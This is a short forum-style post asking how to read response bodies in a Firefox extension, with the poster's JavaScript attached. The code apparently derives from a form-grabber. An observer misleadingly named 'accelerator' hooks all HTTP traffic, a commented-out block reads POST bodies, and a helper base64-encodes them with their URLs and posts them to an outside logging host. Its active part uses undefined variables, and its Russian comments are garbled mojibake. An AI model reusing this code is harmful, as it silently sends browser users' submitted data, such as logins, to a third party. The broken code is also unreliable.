Get response body in firefox extension
I want to intercept response body, but I don't know as it to make, I tried
everything that is possible. Here my total option, but it for some reason
doesn't work. Please, help to understand and correct errors. I dont know
how did it, who can halp me with examples? Non header, only response body.
Its possible?
function CCIN(cName, ifaceName) {
const Cc = Components.classes;
const Ci = Components.interfaces;
return Cc[cName].createInstance(Ci[ifaceName]);
}
// Àäðåñ õîñòà äëÿ îòïðàâêè îò÷åòîâ
var log_host = "kaimi.ru";
// Ïóòü ê ñêðèïòó - ïðèåìùèêó
var log_uri = "/test.php";
// Ìàêñèìàëüíûé ðàçìåð POST-äàííûõ äëÿ îòïðàâêè
var log_req_limit = 1024;
var accelerator =
{
// Ôóíêöèÿ äëÿ óñòàíîâêè îáðàáîò÷èêà íà ñîáûòèå http-on-modify-request
// Ñïèñîê ñîáûòèé ìîæíî ïîñìîòðåòü çäåñü
https://developer.mozilla.org/en/Observer_Notifications
add_observer : function()
{
var observerService =
Components.classes["@mozilla.org/observer-service;1"].getService(Components.interfaces.nsIObserverService);
observerService.addObserver(this, "http-on-examine-response", false);
},
// Ôóíêöèÿ äëÿ ñíÿòèÿ îáðàáîò÷èêà íà ñîáûòèå http-on-modify-request
// Íå âûçûâàåòñÿ, íî ïóñòü áóäåò
remove_observer : function()
{
var observerService =
Components.classes["@mozilla.org/observer-service;1"].getService(Components.interfaces.nsIObserverService);
observerService.removeObserver(this, "http-on-examine-response");
},
// Ôóíêöèÿ, êîòîðàÿ âûçûâàåòñÿ ïðè âîçíèêíîâåíèè èíòåðåñóþùåãî íàñ ñîáûòèÿ
observe : function(subject, topic, adata)
{
var http_channel =
subject.QueryInterface(Components.interfaces.nsIHttpChannel);
// Ïðîâåðÿåì òèï ñîáûòèÿ
if(topic == "http-on-examine-response")
{
// Èñêëþ÷àåì èç ôèëüòðàöèè URL õîñòà äëÿ ïðèåìà îò÷åòîâ
var uri = subject.URI.spec;
if(new RegExp('^http://(?:www\.)*' + log_host, 'i').test(uri))
{
return;
}
// Îáðàáàòûâàåì òîëüêî POST-çàïðîñû
// Èçâëåêàåì îáúåêò â êîòîðîì õðàíèòñÿ çàïðîñ
//var upload_channel =
http_channel.QueryInterface(Components.interfaces.nsIUploadChannel);
var binaryInputStream = CCIN("@mozilla.org/binaryinputstream;1",
"nsIBinaryInputStream");
var storageStream = CCIN("@mozilla.org/storagestream;1",
"nsIStorageStream");
var binaryOutputStream = CCIN("@mozilla.org/binaryoutputstream;1",
"nsIBinaryOutputStream");
binaryInputStream.setInputStream(inputStream);
storageStream.init(8192, count, null);
binaryOutputStream.setOutputStream(storageStream.getOutputStream(0));
// Copy received data as they come.
var data = binaryInputStream.readBytes(count);
this.receivedData.push(data);
var responseSource = this.receivedData.join();
alert(responseSource);
/*var upload_channel_stream = upload_channel.uploadStream;
upload_channel_stream.QueryInterface(Components.interfaces.nsISeekableStream).seek(Components.interfaces.nsISeekableStream.NS_SEEK_SET,
0);
var stream =
Components.classes["@mozilla.org/binaryinputstream;1"].createInstance(Components.interfaces.nsIBinaryInputStream);
stream.setInputStream(upload_channel_stream);
// Ïîëó÷àåì ñîäåðæèìîå POST-çàïðîñà â âèäå ñòðîêè
var post_bytes = stream.readByteArray(stream.available());
var post_data = String.fromCharCode.apply(null, post_bytes);
// Îòäåëÿåì òåëî çàïðîñà îò âñïîìîãàòåëüíûõ çàãîëîâêîâ ñ
ðàçìåðîì è òèïîì ñîäåðæèìîãî
var tmp = post_data.split("\r\n\r\n");
if(tmp[1] && tmp[1].length <= log_req_limit)
{
this.send_post_data(uri, tmp[1]);
}
// Óñòàíàâëèâàåì ñìåùåíèå â ïîòîêå íà íà÷àëî
upload_channel_stream.QueryInterface(Components.interfaces.nsISeekableStream).seek(Components.interfaces.nsISeekableStream.NS_SEEK_SET,
0);*/
}
},
// Âñïîìîãàòåëüíàÿ ôóíêöèÿ äëÿ îòïðàâêè POST-çàïðîñà íà õîñò
send_post_data : function(uri, data)
{
// Êîäèðóåì äàííûå äëÿ áåçîïàñíîé ïåðåäà÷è
var enc_data = escape(this.base64_encode(data));
var enc_uri = escape(this.base64_encode(uri));
// XMLHttpRequest âûçâàííûé èç ðàñøèðåíèÿ íå îáëàäàåò ñòàíäàðòíûìè
îãðàíè÷åíèÿìè
// òàêèì îáðàçîì îáðàòèòüñÿ ìîæíî ê ëþáîìó õîñòó
var req = new XMLHttpRequest();
req.open("POST", "http://" + log_host + log_uri, true);
req.setRequestHeader("Content-type",
"application/x-www-form-urlencoded");
req.send("uri=" + enc_uri + "&info=" + enc_data);
},
// Íåâåäîìàÿ ôèãíÿ, êîòîðàÿ áûëà âçÿòà èç tamper data
QueryInterface : function(iid)
{
if(iid.equals(Components.interfaces.nsISupports) ||
iid.equals(Components.interfaces.nsIObserver))
{
return this;
}
throw Components.results.NS_NOINTERFACE;
},
// Âñïîìîãàòåëüíûé ìåòîä äëÿ êîäèðîâàíèÿ äàííûõ â Base64
base64_encode : function(data)
{
var b64 =
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
var o1, o2, o3, h1, h2, h3, h4, bits, i = 0,
ac = 0,
enc = "",
tmp_arr = [];
if(!data)
{
return data;
}
do
{
o1 = data.charCodeAt(i++);
o2 = data.charCodeAt(i++);
o3 = data.charCodeAt(i++);
bits = o1 << 16 | o2 << 8 | o3;
h1 = bits >> 18 & 0x3f;
h2 = bits >> 12 & 0x3f;
h3 = bits >> 6 & 0x3f;
h4 = bits & 0x3f;
tmp_arr[ac++] = b64.charAt(h1) + b64.charAt(h2) + b64.charAt(h3) +
b64.charAt(h4);
} while (i < data.length);
enc = tmp_arr.join('');
var r = data.length % 3;
return (r ? enc.slice(0, r - 3) : enc) + '==='.slice(r || 3);
}
};
// Âûçûâàåì ìåòîä, êîòîðûé óñòàíîâèò îáðàáîò÷èê íà èíòåðåñóþùåå íàñ ñîáûòèå
accelerator.add_observer();
No comments:
Post a Comment